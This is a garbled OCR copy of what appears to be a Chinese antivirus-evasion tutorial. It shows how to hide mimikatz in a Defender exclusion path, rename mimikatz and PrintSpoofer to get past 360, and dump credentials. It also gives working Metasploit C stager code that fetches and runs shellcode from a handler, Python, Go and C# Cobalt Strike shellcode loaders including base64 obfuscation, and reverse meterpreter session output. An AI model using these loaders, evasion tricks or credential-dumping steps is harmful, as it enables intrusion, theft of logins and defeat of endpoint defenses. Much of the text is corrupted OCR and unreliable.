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1.1.1. BB 5%5T Defender SR

# win2016/2019 % i Windows Defender ¥ i A< B

https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defend

er-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automati

c-exclusions

Defender 7t 1~ & & 5% X 26 U 4 1y #H A2
Process exclusions
%SystemRoot%\system32\inetsrv\w3wp.exe
%SystemRo00t%\SysWOW 64\inetsrv\w3wp.exe
%SystemDrive%\PHP5433\php-cgi.exe

FIR 7% wREFAFAE, wa0#EEF mkdir %SystemDrive%\PHP5433
exe 2073t Defender # A&, X E DL mimikatz % | F, mimikatz & 2 # 3
T#A %%, A5 L1535 PHP5433 H X4 A php-cgi.exe BIH 423t Defender
Fx

== == =23
> AHEEEE (C:) > PHP5433 v O EE"PHP5433

sm Fh

php-cgi.exe 2020/8/21 22:23 NFETER

E windows Defender

21 4me 1 N d: 0 (00000000 00c£593d)

1.2. %R 360 &L 151360 375

360 X FRZ 360 BT BN —RAERN T LERER M, COFHME
AT AL EFRTI %, A% HIT 474 1 BitDefender 7% % & £ 5| % . Avira(/NT
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https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automatic-exclusions
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automatic-exclusions
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/configure-server-exclusions-microsoft-defender-antivirus#list-of-automatic-exclusions
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Mimikatz & — 2 46 4% . Windows i\ iE(LSASS)H# 2 3k BLA &, FF A3 B
BA XX %5 A0 NTLM %o &R TR, & & 7 U & i A P . 7] DA 38 B O
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Mimikatz J& X A% T %X https:/github.com/gentilkiwi/mimikatz
FE R HICE vs2012 (R H A
Visual C++ MFC for and64

https://aka.ms/vs/16/release/vc_redist.x64.exe

Desktop development withc++

R 4. error MSBB020, ##uk77ik: TEH->BH>¥A->F 6 TIEE, #FERA
VS2012 (v110) & BF H] fk, 34 34T 4 15

mimikatz B1£R ? X
EE(C): EM(Release) v F&P): | EMNx64) v EESER©)..
v EBREE v &8
1EEHS I8 EHER $(SolutionDir)$(Platform)\
BEEEE REER $(Platform)\

Birid= $(ProjectName)
BiRirEE .exe
EerEaT ER *.cdf;*.cache;*.obj;".ilk;*.resources;*tlb;*.tli;*.tlh;*tmp;*.rsp;*.pgc;*.pgd;
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1>modules\kuhl m net.c : warning C4819: Z LS ANRETE L HTCAL T (936) RN WK1
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[ A mimikatz' (4 ARE)
4 @ global files

b i inc

b i lib
| ] kiwi_passwords.yar
B mimicom.id|

| ] README.md
b mimidrv
P F mimilib
b & mimilove
4 [%] moonteams
b = common modules
b = local modules
b B3 SEBEEIR
P *+ moonteams.c
P B moonteams.h
El moonteams.ico
@ moonteams.rc
BRI RAMS B2
= T I SOV 11, icirv.rc - VS .. iS(EE)] - Version® + X ety
] mimidrv g &
4 fm| mimidrv.rc* FILEVERSION 2,200
4 ] Version PRODUCTVERSION 2,2,0,0
VS_VERSION_INFO E5(E)]
[l mimikatz FILEFLAGSMASK 0x3fL
) mimilib FILEFLAGS Ox2al
i {mimilove FILEOS VOS_NT
FILETYPE VFT_DRV

FILESUBTYPE VFT2_ UNKNOWN
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v kun_m_sysenvvauen
b ++ kuhl.m token.c

b B kuhl_m_tokenh

b #+ kuhl_m ts.c

3 kuhl_m_ts.h

b+ kuhl_m_vault.c

3 kuhl_m_vaulth

b BB SRR

4 *++ moonteams.c

_ pfnDliFailureHook2
delayHookFailureFunc(unsigned int, PDel:
HandlerRoutine(DWORD)
moonteams_begin()
moonteams_dispatchCommand(wchar_t *
moonteams_dII(HWND, HINSTANCE, LPW
moonteams_doLocal(wchar_t %)
moonteams_end(NTSTATUS)
moonteams_initOrClean(BOOL)
moonteams_modules
powershell_reflective_moonteams(LPCWS

00 oQoOQOOOMNm

wmain(int, wchar_t * [I)
b moonteams.h

B by

] BRAE mimikatz' (4 MAE)
b i global files

b [ mimidry

b [ mimilib

4 [ mimilove
> & common modules
53 SRR

*+ mimilove.c

4
b
3 mimilove.h

D mimilove.rc

%] moonteams

5 common modules

S

& local modules
53 ShEREEm

*++ moonteams.c

vevvvw

moonteams.h
El moonteams.ico
) moonteams.rc

HEHHH

moonteams # privilege:

Privilege 20" OK

moonteams # sekurlsa::

Authentication Id : @
Session :

User Name
Domain

Logon Server
Logon Time
SID

msy :
tspkg
wdigest

= Username
* PDomain

= Password
kerberos

= Username
» Domain

* Password

1.3.

—i#if !defined( POWERKATZ)

SetConsoleTitle (moonteams L” * moonteams_VERSION L” “ moonteams_4RCH L" (oe.eo)”):

SetConsoleCtrlHandler (HandlerRoutine, TRUE):
#endif
kprintf (L"\n"
L"  .unund " moonteams_FULL L"\n"

L “ moonteams_SECOND L" - (oe.

L # f #  /**x Benjamin DELPY "gentilkiwi® ( benjamin@gentilkiwi.com )\n"
L" #% A\ /88 > http://bloz. gentilkiwi. com/moonteansin”

L" C#f v # Vincent LE TOUX ( vincent. letoux@gmail. con )\n”
L" CHHHEEE > http://pingcastle.com / http://mysmartlogon.com  **¥/\n"):

moonteams_initOrClean (TRUE) ;

}

=lvoid moonteams_end (N

moonteams_init0rClean (FALSE) ;
=#if !defined (_POWERKATZ)
SetConsoleCtrlHandler (HandlerRoutine, FALSE);
#endif
kull_m_output_clean() ;
—1#if !defined(_WINDLL)
if (status == STATUS_THREAD_IS_TERMINATING)
ExitThread (STATUS_SUCCESS
else ExitProcess(STATUS_SUCCESS) ;

10N %

_M_aramba;

1> kuhl m_sekurlsa nt6. ¢

1> kuhl m_sekurlsa. c

1> kuhl m_sekurlsa_sk.c

1> kuhl_m_sekurlsa utils. ¢

1> Juhl_n_sekurlsa_cloudap. o

1> kuhl_n_sekurlsa_crednan. o

1> kuhl_m_sekurlss dpapi.c

1> kuhl_m_sekurlsa kerberos. c

1> kuhl_m_sekurlsa livessp.c

1> kuhl_m_sekurlsa msvl 0. c

1> E{EmF

1> kuhl_m_sekurlsa ssp.c

1> kuhl m_sekurlsa_tspks. ¢

1> kuhl m_sekurlsa wdigest.c

1> sqlited.c

1> ETEERGE

1> B AEER

1> mimikatz. vexproj —> C:\UsersiAdministratoriDesktop\{IPAEREERI \nimikatzlmasteriminikatz-master \Win32\moonteans. exe
—— EFEFER: B 1A KW 04 Bl 0 ——

moonteams 2.2.0 (x64) #19041 Aug 23 2020 14:34:57

debug

logonpasswords

; 996 (00000000:000003e4)

Service from 0
WIN-3H3HFDBJLOU$
WORKGROUP

{null)

2020/8/23 13:56:58
$-1-5-20

WIN-3H3HFDBJLO
HORKGROUP
{null)

win-3h3hfdbj10u$
WORKGROUP
{null)

PrintSpoofer Rid 360 RF 360 B2+

Windows 10 #2 Windows Service 2016/2019 #=£ X T E, A FRHEHT A



Z—, 360 K22 EANER, HURERHHA2ER, EETRHRELNHIFK
e HETERER,

Xt E TR %2, B T#IER https:/github.com/whojeff/PrintSpoofer

J| vs2019 i # release x64 %715

SE0ZEAMMIZET
AREB5R

ADXH : By C\Users\Administrator\Desktop
\PrintSpoofer.exel

ADBHR : Trojan.Generic
BEASRERESRISEE , 3608mIE=E.

RIMEE VElEeEEEE
| HE360FE A

CPUUL T =« CAC

%#.2% B ¥ PrintSpoofer.cpp = T 8y S Bh Y 2 HE S

FEVOID PrintUsage()
{
wprintf (
L”"'-,I'L”
“moonsec -c —-in"

»

-
w11

L}

T B X 1% & PrintSpoofer £ # H . iX 7% & moonsec
PrintSpoofer.cpp PrintSpoofer.h 2 % 4 H At % F X B B moonsec

HE £@@E O 8O 27N IO FEX SOW IFWH E5 (Cd+Q » PrintSpoofer o R -
- Release ~ x64 ~ P &t Windows iBEE - 5 = | = & Liv
& % ms-rprn.id| ms-rprn_c.c moonsec.cpp v B Ry
(&5ER) ~  CheckAndEnablePrivilege(HANDLE hTokenTo ~ + AE- o-sal ﬁ[
-
EERAAREREER(Crl+)
1” 5 3] B=AE PrintSpoofer’(1 AMHE/ 1
- 4 PrintSpoofer
— b =m 3|
rivilege (HANDLE hTokenToCheck, LPCWSTR pwszPrivilegeToCheck): b b5 SHEBAERIT
ipeName (LPWSTR *ppu. e): — 4 B8 Header Files
nedPipe (LPWSTR pwszPipeName) ; b [ ms-rprn_h.h
amedPipe (HANDLE hPipe): P [ moonsech
ipeConnection (LPWSTR pwszPipeName) ; Resource Files
VamedPipeConnectionThread (LPVOID lpParam) ; = 7
3 hPipe); 4 .| Source Files
i hPipe):
b B ms-rprnidl

b [ ms-rprn_cc
P *+ moonsec.cpp

fm—"ico BT mALER


https://github.com/whojeff/PrintSpoofer

ous [ARAN 6.1.76811 .
crosoft Corporation. {RE5FETAIVH.

inistrator\Desktop\PrintSpoofer.exe

FERNRAZ S, FBICZRME

24 1M, LT 8 WiRia , REEE :

360 BIEAFPENIRS |

EASREEERLE : 220 i e

1.4. WMSF AiMEB R 360 L P15 360 REe31H

metasploit & — K TR A &2 JFE AN T A, [F 6 Metasploit & % 5 iy T A,
W% 2 T A R % A Metasploit T B & & I & 4L 09 & 2 % . Metasploit
Framework (MSF) 7& 2003 & LLJF #URAS 7 A& A, =& 7 LB B R B T A A2 4
CE—ABANTETF G, #4L, MiAf A% ERG, ZANFE S EZNR.
shellcode %% 5 MIREM T T — 7 £-F &, HF K EHH A&k (Payload) ,
EAFRANAFFE, ERAXMERERNE], TREXFLHTFE, MHE
Metasploit 1 & 47 A5 25 #% 3= (Encoders), 4 & Jz |18, X EIHATRADE %, ¥ LR
BRI G REFR
T H ik https://github. com/rsmudge/metasploit—loader
Jw4E metasploit—loader/master/src/main. c
LUT F#
if (arge !=3) {

printf("%s [host] [port]\n", argv[0]);

exit(1);



main( argc, * argv[]) {
ULONG32 size;
* buffer;
(*function)();

winsock_init();

SOCKET my_socket = wsconnect("1¢
count = recv(my_socket, ( x)§size, 4, 0);

(count == 4 || size < 0)
punt(my_socket, "read a strang * incomplete length value'\n");

buffer = VirtualAlloc(?, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
(buffer = NULL)
punt(my_socket, "could r e buffer\n");

buffer[o] =

L&k YmiF % sudo apt-get install mingw-w64
Ym %8 1686-w64-mingw32-gce main.c -0 mm.exe -lws2_32

i8] bypassav.exe o T 24
«) bypassav.go @ i A

= EvilClippy.exe Q HRECsE, TR

£ mimikatz.exe 1,3
] mm.exe g m 2
L A B R A W R —rr -

O Mo B
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 9500

LPORT => 31337

msf exploit(handler) > set LHOST 192.168.0.180

LHOST => 192.168.95.241

msf exploit(handler) > exploit -j

nsf5 ) > sessions

Id Name Type Information Connection

1 meterpreter x86/window: Win10-2020UKCIU\Administrator @ Win10-2020UKCIU 192.168.0.180 88 — 192.168.0.194 (192.168.0.194)

msf5 exploit( ) > ions 1
Starting interaction with 1...



64 A0 % R F R
T A Dev-Cpp 5.11 TDM-GCC 4.9.2

Setup

T # H 4k https://sourceforge.net/projects/orwelldevepp/
A ->#T1 2 T H ->consoleApplication->¢ 1 H

i moon - (moond
HHF] REE] BE(S)

v] - Dev-C++ 5.11

MmEV] HEP)

EGR] IEM ASyle

sEOMW]  #=EH)
DEgWaEE &~ |06 B8 |§8 ® 808 | % da||[mocs a5z crbic aetense

a] g ‘ (globals) vl v

REHER ZEE <[] meinc

=-{&) moon 96 exit(1);

[ main.c 97 I
98
99 /* connect to the handler */ FHE

100 SOCKET my_socket = wsconnect(argv[1]
101 Basic  Multimedia Win32 Console
102 /* read the 4-byte length */ i
1e3 int count = recv(my_socket, (char * E @ ‘)
104 if (count != 4 || size <= @) - |
105 punt(my_socket, "read a strange| Windows 2 DLL Empty Project
106 Application
107 /* allocate a RWX buffer */
108 buffer = VirtualAlloc(@, size + 1@,
1e9 if (buffer == NULL)
110 punt(my_socket, “"could not allo
11
112 /* prepend a little assembly to move -
113 thanks mihi for pointing this oul A console application (MS-DOS window) ®c Oc+TH
114 BF 78 56 34 12 = mov e
115 buffer[@] = ox48; £ [ME=5 -]
116 buffer[1] = @xBF;
17 /* copy the value of our socket to { [BE4

Bl mizm @ me b #FES v Wd [0 mee® @ X WG

EEER.

- #i&: 0
- ¥E : 0

[ Shorten compiler paths |~ B XHZ: C:\Users\Administrator\Documents\moon.exe
- B R/h: 132.5595703125 KiB
- RERf[E: 2.83s

5% X 4 winsock2.h # 5 2| windows.h | A% E o H 4,

aa

‘ (globals)

=

GEEE Z=8% | «/»| mainc

=-{&) moon T /%
D main.c 2 *

3 -
4 *
5 *
6 * @license BSD License.
7 *
8 * Relevant messages:
9 *
1e * * http://mail.metaspl
11 8/
12
13 #include <stdio.h>
14 #include <stdlib.h>
15 #include <winsock2.h>
16 #include <windows.h>
17
18
19 /* init winsock */
20 [-] void winsock_init() {
21 WSADATA wsaDataj;

KA BT — EE K

A C-based stager client compat with the Metasploit Framework
based on a discussion on the Metasploit Framework mailing List

@author Raphael Mudge (raffif@strategiccyber.com)

* http://mail.metasploit.com/pipermail/framework/2012-September/008660. html
oit.com/pipermail/framework/2012-September/008664. htmlL




/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, @);
if (count != 4 || size <= @)
punt(my_socket, "read a strange or incomplete length value\n");

7% allocate a RWX buffer =,
buffer = VirtualAlloc(@, size + 1@, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)

punt(my_socket, "could not allocate buffer\n");

/* prepend a Little assembly to move our SOCKET value to the EDI register
| thanks mihi for pointing this out

i BF 78 56 34 12 |=> mov edi, Ox12345678 */

buffer[@] = 0x48;
buffer[1] = @xBF;

= *

memcpy(buffer + 2, &my_socket, 8);

o i ffer *
count = recv_all(my_socket, buffer + 1@, size); I

NEFESbLboaNoULhrWNRPOIBTHEIFHIRIOFAFIOH

B /* cast our buffer as a function and call it */

‘4 function = (void (*)())buffer;

5 function();

6

|7 4 return @;

B )

‘9

EZ. n 85 110 £ EF 2200 = 7= n N1 FhrheoRTaET

miEIXE fm L -static-libgee -lws2 32
lev] - Dev-C++ 5.11

8%(S] #W\V] MBP] ETR] IR[ Asyle @OMW] #=EH]
@ 8|~ BREE| 84 ©|8B0mas| | x| d s |[occ 152 ci-bic detease |

/|

lobals) VI ""
‘ I * | main.c

96 exit(1);
97 | }
98 RIFRREIR X
99 /* connect to the handler */ = =
100 SOCKET my_socket = wsconnect(ar BERFEAE
101 5 [ & o [
102 /* read the 4-byte length */ I[DM-GCCM.ZGQ-IMR:IGASQ vl ﬁﬂ!ﬂ"_’]@]
103 int count = recv(my_socket, (chi
104 if (count != 4 || size <= @) BEE RBLRMML BR BE
105 punt(my_socket, "read a str
106 DEEALTSS:
1e7 /* allocate a RWX buffer */
108 buffer = VirtualAlloc(@, size + A
109 if (buffer == NULL)
110 punt(my_socket, “could not
111
112 /* prepend a little assembly to
113 thanks mihi for pointing thi
114 BF 78 56 34 12 => m
115 buffer[e] = ox48;
116 buffer[1] = @xBF;
117 /* copy the value of our socket] =
118 memcpy (buffer + 2, &my_socket, | EEEBSOTNALTSS
119
120 /* read bytes into the buffer ¥ -static-libgcc -lw52_32| A
121 count = recv_all(my_socket, buf]
122
123 /* cast our buffer as a functiol
124 function = (void (*)())buffer;
125 function();
126
127 return a:

¥ F9 JiiF K




I Ty vy v v e LIRS TP o

[#] moon.exe 2020/10/7 10:34 N R 133 KB

@ ReEE, AR

32 KB

% & metasploit & I 77 2
set payload windows/x64/meterpreter/reverse_tcp

s\Administrator\Documents>moon. exe 192. 168. 0. 180 8888

msf5 exploit( ) > exploit
Started reverse TCP handler on 192.168.0.180:8888
Sending stage (201283 bytes) to 192.168.0.194
Meterpreter session 4 opened (192.168.0.180:8888 — 192.168.0.194:53054) at 2020-10-06 22:53:18 -0400

meterpreter > [j

EHE L4 TUREENASBENREN ;.

1.5. Python3 Cobalt strike shellcode $&3%id 360 2+ A

360 35

Python2.7 AR Z R HFERNHH2E R ARURE L ZE. ¥ UUEA python3 K #
shellcode Hy % & AL 2

Python3 T3 TR®ITIWAM A L5 LI 1R AZ Python 3.8.6 64 {r

pyinstaller 4.0

https://www.python.org/downloads/

pip install pyinstaller
Python3 shellcode 77 2 X
import ctypes

#shellcode 7m %k

def shellCodeLoad(shellcode):
ctypes.windll.kernel32.Virtual Alloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.Virtual Alloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)), ctypes.c int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)


https://www.python.org/downloads/

ctypes.windll.kernel32.RtIMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(sh
ellcode)))
handle =
ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(
ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32. WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
if name ==" main_ "

shellCodeLoad(bytearray(b'shellcode'))

Y& 1% pyinstaller -F test.py --noconsole

HEEREFNFL2ERX B R
ctypes.windll.kernel32.RtIMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(sh
ellcode)))

AUE AR HATAE F eval 31 A HATRAE
eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZITW
Vtb3J5KGNO0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHIwZXMuY 19pbnQobGVu
KHNo0oZWxsY29kZSkpKQ=="))

Python3 shellcode 77 2 X

import ctypes

import base64

#shellcode 77 %k

def shellCodeLoad(shellcode):
ctypes.windll.kernel32.Virtual Alloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.Virtual Alloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)), ctypes.c int(0x3000),ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

eval(base64.b64decode("Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SSdGxNb3ZITW
Vtb3J5SKGN0eXBlcy5jX3VpbnQ2NChwdHIpLGJ1ZixjdHIwZXMuY 19pbnQobGVu



KHNoZWxsY29kZSkpKQ=="))
handle =
ctypes.windll.kernel32.CreateThread(ctypes.c int(0),ctypes.c_int(0),ctypes.c_uint64(
ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32. WaitForSingleObject(ctypes.c_int(handle),
ctypes.c_int(-1))
if name ==" main "

shellCodeLoad(bytearray(b'shellcode'))

= @) 36055
V3 py3.exe
W py33.exe

I

(53] python3.exe

A % 3 3

WH
Ul
I

#

0 K iEARA IR B !

HEEN&: 1
iR 00:00:01
HEMRR: 0
HOMEIGH: 0

1.6. Golang %2 Cobalt strike shellcode ‘RREREHR

N

GolEEHu R R KNREESTZ —, # A go B RE WML, 1Z1T shellcode
AL E R ERAK, 360 X2 T+, 360 T4 REF. KK, WE. 4.
HRER. RRBERRT. MEBFEARNFRE L,

T H #hk https:/github.com/jax777/shellcode-launch

Go 1& & 4% & # T # https://studygolang.com/dl

X B % # Cobalt strike it # ¢ X% shellcode



[ ]

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available. ~

-

Listener: !ss H }
output: [C - |
x64: [v] Use x64 payload

| Generate || Help |

¥ shellcode-launch copy £ $GOPATH/src ¥ 7% T windows T
5% winlaunch.go Z #4 shellcode

package main

import (
"shellcode-launch/winshellcode"

)

func main() {
sc := [|byte("¥K #J shellcode")
winshellcode.Run(sc)

}

32 fr AT

set CGO_ENABLED=0

set GOOS=windows

set GOARCH=386

go build -l1dflags="-s -w" winlaunch.go

64 fr 24T win_64.bat

set CGO_ENABLED=0

set GOOS=windows

set GOARCH=amd64

go build -l1dflags="-s -w" winlaunch.go

BT 360 XA FE



== WIII_U‘?.Uat [AVIAV/ AV Ko RVES Y} VVIHIUOUWD TLLMICEE...
winlaunch.exe 2020/10/8 11:48 N FEER
ahvgls

«J winlaunch.gg

® se0x%

HiEtsnk, FREMEMEE!

=

BARAREARALRRENHNE
-~

[t

5 (D 5 engines detected this file
144
88abf40cbdff5de3e0d8c480001e850645acc3c809ce7179c2c78153a327f7a 1.71MB 2020-10-08 03:29:18 UTC
3 malaie Size 2 minutes ago
m 64bits assembly peexe
Score
DETECTION DETAILS COMMUNITY
SecureAge APEX @ Malicious ClamAV (@ WinTrojan.MSShellcode-5
Fortinet (D Wéa/Rozena CLitr Ikarus (@ TrojanWiné4.Rozena
Jiangmin @ Trojan.Shelma.gdt Acronis @ Undetected
Ad-Aware @ Undetected AegisLab © Undetected
AhnLab-V3 @ Undetected Alibaba @ Undetected
AlYac @ Undetected Arcabit @ Undetected
Virscan.org R 8 H &R &
l 'gm LUXTHHL | JISERE, ERSHYHIHEITIE, AHFRPUE/RENFRIITTNEIA Jo
AR A%RENH 249 RERIVES
B8] 2020-10-08 01:03:41 (CST)
REEIR SISERE REERE REENE ARER Bt
AVASTI 18.4.3895.0 18.4.3895.0 2020-10-08  REAIRS 5
AVG 10.0.1405 10.0.1405 2020-10-07 REAWRES 5
Alyac 177131 17.7.131 2020-10-07  RERMRS 6
Arcabit 1.0 1.0 2020-10-08 REAIRS 8
Authentium 465 5314 2020-10-07  REANFS 1
Avira 1920 1.9.159.0 2020-10-07  REATFS 9
Baidu Antivirus 2010 41352192 2020-10-07  REAIRS 13
Bitdefender 7.141118 7.141118 2020-10-07 REAIRS 1
ClamAV 25949 0.100.2 2020-10-06  Win.Trojan.MSShellcode-5 1
Comodo 650819 6.5.0.819 2020-10-02  REAIRS 3
Cyren 6.004 6.00 2020-10-07  REANFS )
Defenx 11.144.35381 15.2.0.45 2020-10-07  REAIRS 1
Dr.Web 11.0.10.1810231600 11.0.10.1810231600 2020-10-07  REAIRS 1

|

i
N\



extemal internal listener user computer note process

= 192.168.0.194 9 s Administrator Win10-2020UKCIU winlaunch.exe

1.7. Golang Cobalt strike shellcode RERERRE

X M /& golang shellcode 7%k 25 %] DL 4, 5% B W B £ R AR
T B # 4t https://github.com/vyrus001/shellGo

main.go
pop rdx
i

pop rax
*

// nasm -DFUNC=TRUE -DCLEAN=TRUE -DSTACK_ALIGN=TRUE w64-exec-calc-shellcode.asm

0x50, @x51, @x52, @x53, Ox56, Ox57, Ox55, Ox6A, @x60, Ox5A, 0x68, Ox63, Ox61, @x6C, x63, 0x54,
0x59, 0x48, 0x83, OxEC, 0x28, @x65, Ox48, 0x8B, 0x32, Ox48, 0x8B, 0x76, 0x18, Ox48, 0x88, 0x76,
0x10, 0x48, OxAD, Ox48, 0x8B, 0x30, Ox48, 0x8B, Ox7E, 0x30, 0x03, 0x57, Ox3C, Ox8B, 0x5C, 0x17,
0x28, @x88, 0x74, Ox1F, 0x20, Ox48, Ox01, OxFE, 0x8B, 0x54, Ox1F, Ox24, OxOF, @xB7, @x2C, 0x17,
0x8D, 0x52, ©x02, @xAD, Ox81, @x3C, Ox87, Ox57, Ox69, Ox6E, 0x45, Ox75, OxEF, Ox8B, @x74, Ox1F,
0x1C, 0x48, 0x01, OxFE, 0x8B, @x34, OxAE, 0x48, 0x01, OxF7, 0x99, OxFF, OxD7, 0x48, 0x83, 0xC4,
0x30, @0x5D, Ox5F, Ox5E, Ox5B, Ox5A, ©0x59, 0x58, Ox(3,

func checkErr(err error) {
if err 1= nil {

3£ ann Frnanl) 1= "Tha anaratinn ramnlatad curraccfnllu *

X ANE0 4 Bt =2 15 4T I 5 2 BV shellcode

3T FF cobalt strike ->payload Generator-3i£ # C#

Bt & 21 shellcode

Y%7 go build main.go
HRAXENRALEAGFRHHRE ARLEETHEN.

© & https://www.virustotal.com/qui/file/88abf40cbdffSde3e0d8c480001e850645acc3c809ce7179c2c78153a327ff7a/d: B oo ¥
P g

= @ FELE O =mm

abf40cbdff5de3e0d8c480001e850645acc3c809ce7179c2c78153a327ff7a

\

@ 5 engines detected this file

88abf40cbdff5de3e0d8c480001e850645acc3c809ce7179c2c78153a327ff7a 1.71MB 2020-10-08 03:

3 main.exe
- babits assembly heck rk-adapt dir pu-clock peexe runtime-modules

% Community

Score

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

SecureAge APEX @ Malicious ClamAV
Fortinet (@ WeéalRozenaCLitr Ikarus
Jiangmin @ Trojan.Shelma.gdt Acronis
Ad-Aware ©) Undetected AegisLab
AhnLab-V3 @ Undetected Alibaba

Si

oo

:18 UTC

44 minutes ago

(@ WinTrojan.MsShelicode-5
(@ TrojanWin64.Rozena

(©) Undetected

(©) Undetected

@ Undetected



listener P
Win10-2020UKCIU main exe 2876 64 7s

K 192.168.0.194 192.168.0.194

1.8. c# xor MBI R RT 360 ZL T+ 360 ZERET
AR RTATHBRE F, T UL K B — A 15 47 shelloode, 2 A i K 21
AR AN, B DR IF I

T B ik https://github.com/antman1p/ShellCodeRunner
A vs2019 3T JF sln T B X1+

RS EGREHERS
SEAN=-RAI RSN - MR JE]
SRR ERIREERE(Ctrl+)) /

3] #27%="ShellCodeRunner’(2 ANEE, &2 4
4 ShellCodeRunner
> M Properties

P =m5|H
4 Resources
(% encrypt.bin

¢)) App.config
P ¢* Program.cs

4 [cs] XORKrypt
> M Properties
b w=m3|H

¢ App.config
b ¢* Program.cs

AL EGREES JElNEEE

% # xorkryptor 4 ik Jm#5 2 i cobalt strike %6 4F raw  — 3 | U4
i B Payload Generator — O X :
u2l n

-

This dialog generates a payload to stage a Cobalt
Strike listener. Several output options are available. ~

Listener: [SS H._J

Output:  |Raw - |

X64: [¥] Use x64 payload|

- | Generate || Heip |

2l

ShellCodeRunner.exe payload.bin



eRunner—-master \XORKryptor\bin\Debug>ShellCod

Xt E=d #= =EF

> tkeBfX > =@ > ShellCodeRunner-master > XORKryptor > bin > Debug

v O L $##R"Debug”
S ER E2 B8 Bl K
> tREAE) -
B =E 2 || encrypt.bin 2020/10/8 17:34 BIN 3244 1 KB
N X || payload.bin 2020/10/8 17:04 BIN 32{% 1KB
-1 of
‘ T STIENTCOUTRUNTIET.CXS UZU/TU, 7.5 MRS O RND
&l s * § . ) .
1) ShellCodeRunner.exe.config 2019/4/24 19:49 XML Configurati... 1KB
=EA of & ShellCodeRunner.pdb 2020/10/8 17:32 Program Debug ... 16 KB

ShellCodeRunn

encrypt.bin 5t & & i 458 5 H S

RE~- -5 ¢CITR| f-

REERSERREERS(Curl+)

o #75%"ShellCodeRunner”(2 AR H
4 [c#] ShellCodeRunner
> M Properties
PN 58

H24)

=

4 Resources
(% _encrypt.bin

¢ App.config
P c* Program.cs

T B 2 T % H Rsources f7 encryptbin XX ZF 5L b T H &% F XAk F1 L
P BT DAF 4 BT B ST 2 U KA A& T Y shellcode SCF encrypt.bin £ | £l XX
B, HEEERECHE,

;8% > =@ > ShellCodeRunner-master > ShellCodeRunner > bin > Debug

(S

v O B
BIR (Em=ht ESid] xh
[ ShellCodeRunner.exe 2020/10/8 17:12 RIFEFERF 10 KB
¢ ShellCodeRunner.exe.config 201 19:49 XML Configurati... 1 KB

KA ERTFHEIT. BET LT AT H 360



e

2A0)Tele)

mimiKatz

Q rrnmksmETReE  sus

@ HEN&: 1

b= 2 . 0+
ShellCodeRr: A 00:00:01
unneriexe WE: 0
HMEIGH: 0

Iistener

ShellCodeRunner exe

Virscan.org



rort/bece1516839c253ddb59488fb9096225

SOPHOS
Sunbelt
Systweak
TheHacker
Vba32
ViRobot
VirusBuster
Xvirus
emsisoft
nProtect
<EHE (kavfs)
FEHE(Kims)
EFFE360
=iFtV3

ZX

IRFS
MR

VT

s~ u o

532 3652
3926712 3926712
1.0 1.0

6805 6805
441 441

273 273
15.0.985.0 55213
200 200
9.0.0.4799 9.0.0.4799
999 999
804312 804312
5533 5533

1.0.1 1.0.1

999 999

AVL SDK 3.0 AVL SDK 3.0
16.0.100 1000
220200403 220200403
9.05.01 9.05.01
5380 5380

10 10
17.47.17308 1.0.2.2108
20151230.005 13024
13.302.06 9.500-1005
8254 5400.1158

] 94320d7e6174cf9910979727c77b4cf0a8c08360a0726ce7a7h47ae99510f8b3

-

5

?

% Community
Score

(© 5 engines detected this file

94320d7e6174cf9910979727¢77b4cf0a8c08360a0726ce7a7b47ae99510f8b3

ShellCodeRunner.exe

assembly  peexe

DETECTION DETAILS BEHAVIOR COMMUNITY
SecureAge APEX @ Malicious
Elastic (@ Malicious (high Confidence)

Microsoft

Ad-Aware

Alibaba

Antiy-AVL

Avast

(@ VirTool:MSIL/Viemlod.gen!A
© Undetected
© Undetected
© Undetected

© Undetected

BitDefenderTheta

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-07

2015-01-30

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2019-01-25

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-08

2020-10-07

2015-12-30

2020-10-08

2020-09-11

ESET-NOD32

Acronis

AhnLab-V3

AlYac

Arcabit

AVG

EERRS
EERIRS
RERIRS
EERRRS
EEERImES
EERRS
EERRS
RERIRS
EERRS
RIS
EERRRS
EERIRS
EEERmES
EERRS
EEERARES
EERRS
EERIES
RS
EERRS
EERIRES
RERRS
EERRRS
EEERImES
EERRS

Q ~ 828 C]
AR

10.00 KB
Size

@ Gen:NN.ZemsilF.34282.amO@auPIWek
(D AVariant Of MSIL/Rozena.T

© Undetected

© Undetected

© Undetected

© Undetected
